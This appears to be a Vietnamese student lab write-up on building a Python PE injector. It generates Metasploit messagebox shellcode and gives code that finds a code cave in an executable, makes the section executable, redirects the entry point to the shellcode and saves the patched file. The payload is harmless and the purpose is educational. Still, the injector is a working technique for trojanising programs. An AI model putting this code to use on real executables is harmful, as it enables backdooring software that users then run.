1. **Chuẩn bị Shell code**:
   - Ta sẽ dùng Metasploite trên linux để tạo ra các byte Shell code.
   - Shell code có Payload là: **I love UIT, Tri 18520175**.
   - Ta dùng msfconsole để thực hiện cho đơn giản.
   - Đầu tiên: use payload/window/messagebox. Trong đó sẽ có các option: EXITFUNC, ICON, TEXT, TITLE. Ta sẽ set lại các field đó.

```
Module options (payload/windows/messagebox):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thre
ad, process, none)
   ICON      NO               yes       Icon type can be NO, ERROR, INFORMATION
, WARNING or QUESTION
   TEXT      Hello, from MSF!  yes       Messagebox Text (max 255 chars)
   TITLE     MessageBox       yes       Messagebox Title (max 255 chars)
```

   - Sau khi set lại:

```
msf payload(messagebox) > show options

Module options (payload/windows/messagebox):

   Name      Current Setting          Required  Description
   ----      ---------------          --------  -----------
   EXITFUNC  none                     yes       Exit technique (Accepted: '', s
eh, thread, process, none)
   ICON      INFORMATION              yes       Icon type can be NO, ERROR, INF
ORMATION, WARNING or QUESTION
   TEXT      I love UIT, Tri 18520175 yes       Messagebox Text (max 255 chars)
   TITLE     Hello                    yes       Messagebox Title (max 255 chars
)
```

- Sau đó ta sẽ generate ra ở dạng python vì ta code bằng python:

```
msf payload(messagebox) > generate -t python -b '\x00'
# windows/messagebox - 283 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, PrependMigrate=false, EXITFUNC=none,
# TITLE=Hello, TEXT=I love UIT, Tri 18520175, ICON=INFORMATION
buf = ""
buf += "\xb8\x0e\xa8\xa2\x93\xda\xc6\xd9\x74\x24\xf4\x5b\x31"
buf += "\xc9\xb1\x41\x31\x43\x12\x03\x43\x12\x83\xcd\xac\x40"
buf += "\x66\x08\x47\x1f\x50\xde\xbc\xd4\x52\xcc\x0f\x63\xa4"
buf += "\x39\x0b\x07\xb7\x89\x5f\x61\x34\x62\x29\x92\xcf\x32"
buf += "\xde\x21\xb1\x9a\x55\x03\x76\x95\x71\x19\x75\x70\x83"
buf += "\x30\x86\x63\xe3\x39\x15\x47\xc0\xb6\xa3\xbb\x83\x9d"
buf += "\x03\xbb\x92\xf7\xdf\x71\x8d\x8c\xba\xa5\xac\x79\xd9"
buf += "\x91\xe7\xf6\x2a\x52\xf6\xe6\x62\x9b\xc8\x36\x78\xcf"
buf += "\xaf\x77\xf5\x08\x71\xb8\xfb\x17\xb6\xac\xf0\x2c\x44"
buf += "\x17\xd1\x27\x55\xdc\x7b\xe3\x94\x08\x1d\x60\x9a\x85"
buf += "\x69\x2c\xbf\x18\x85\x5b\xbb\x91\x58\xb3\x4d\xe1\x7e"
buf += "\x5f\x2f\x29\xcc\x5b\x86\x79\xb8\x86\x51\x43\xd3\xc6"
buf += "\x2c\x4a\xc8\x84\x58\xcd\xef\xd7\x66\x7b\x4a\x23\xf1"
buf += "\x10\x39\x0b\x40\x81\xf2\x79\x6c\x35\x9d\x08\x03\xd0"
buf += "\x2f\xc2\x38\x92\x8c\x06\xb5\x2a\xca\x10\x36\x79\x17"
buf += "\x15\x0a\xd2\xac\x8d\x29\x9e\x6e\x4a\x31\x05\xdd\xbc"
buf += "\x3a\xba\x1e\xc3\xd3\x2b\xb9\x1b\x04\xdc\x71\x3e\x28"
```

2. **Coding**:
   - Đầu tiên ta cần truyền file đầu vào. Ở đây ta dùng ArgumentParse để đưa vào.

```
# CLI Argument Inputs
parser = argparse.ArgumentParser(description='Minh Tri PE file Injector')
parser.add_argument('--file','-f', dest='file')

args = parser.parse_args()
```

- Đây là hàm tìm chỗ trống trong file exe ta sắp inject. Ở đây ta tìm ra được vị trí ảo trên RAM của Code cave và vị trí ở byte thứ bao nhiêu trên file.

```
def FindCave():
    global pe
    filedata = open(file, "rb") # Doc File
    print(" Min Cave Size: " + str(minCave) + " bytes")
    # Set PE file Image Base
    image_base_hex = int('0x{:08x}'.format(pe.OPTIONAL_HEADER.ImageBase), 16)
    caveFound = False
    # Loop through sections to identify code cave of minimum bytes
    # Trong Section chua PointerToRawData
    for section in pe.sections:
        sectionCount = 0
        if section.SizeOfRawData != 0:
            position = 0
            count = 0
            filedata.seek(section.PointerToRawData, 0)
            data = filedata.read(section.SizeOfRawData) #Doc file tu rawdata
            for byte in data: #data chua 1 chuoi byte
                position += 1
                if byte == 0x00:
                    count += 1
                else:
                    if count > minCave: #minCave la do dai Shell code
                        caveFound = True
                        raw_addr = section.PointerToRawData + position - count - 1
                        vir_addr = image_base_hex + section.VirtualAddress + position - count - 1
                        section.Characteristics = 0xE0000040
                        return vir_addr, raw_addr #raw add byte thu bao nhieu tren file, vir_addr dia chi ao tren RAM
                    count = 0
        sectionCount += 1
    filedata.close()
```

- Image_base: là địa chỉ trong bộ nhớ ảo mà file thực thi được load tại đó để tránh các lệnh jump.
- Min_cave: là chỗ trống tối thiểu để có thể chèn shell code vào. Ở đây min_cave bằng độ dài shellcode cộng thêm 1 byte.

```
# Stores Image Base
image_base = pe.OPTIONAL_HEADER.ImageBase

minCave = (4 + len(shellcode)) + 10 #Do dai o trong
```

- Ta thực hiện tìm Code cave. Nếu không tìm ra thì sẽ show ra.

```
try:
    newEntryPoint, newRawOffset = FindCave()
except:
    sys.exit(" No Code Cave Found")
```

- Ta sẽ tính lại vị trí của Shellcode và tính return address:

```
# Stores original entrypoint
#Address tren RAM cua chuong trinh. Vi tri dau tien cua program
origEntryPoint = (pe.OPTIONAL_HEADER.AddressOfEntryPoint)
# Sets new Entry Point and aligns address
pe.OPTIONAL_HEADER.AddressOfEntryPoint = newEntryPoint - image_base
returnAddress = (origEntryPoint + image_base).to_bytes(4, 'little')
```

- Ta sẽ chèn padding vào trước và sau shellcode.

```
#Them padding vao sau Shellcode
if len(shellcode) % 4 != 0:
    paddingBytes = b"\x90" * 10
    shellcode += paddingBytes
shellcode += (b"\xFF\xD0")
#Them padding vao trước shellcode
shellcode = b"\x90\x90\x90\x90" + shellcode
```

- Ta sẽ chèn shellcode vào trong vị trí mà ta đã tính được trong hàm findCave(). Rồi tạo lại file đó.

```
# Injects Shellcode
pe.set_bytes_at_offset(newRawOffset, shellcode)

# Save and close files
pe.write(newFile)
```

Refference: https://github.com/ins1gn1a/Frampton.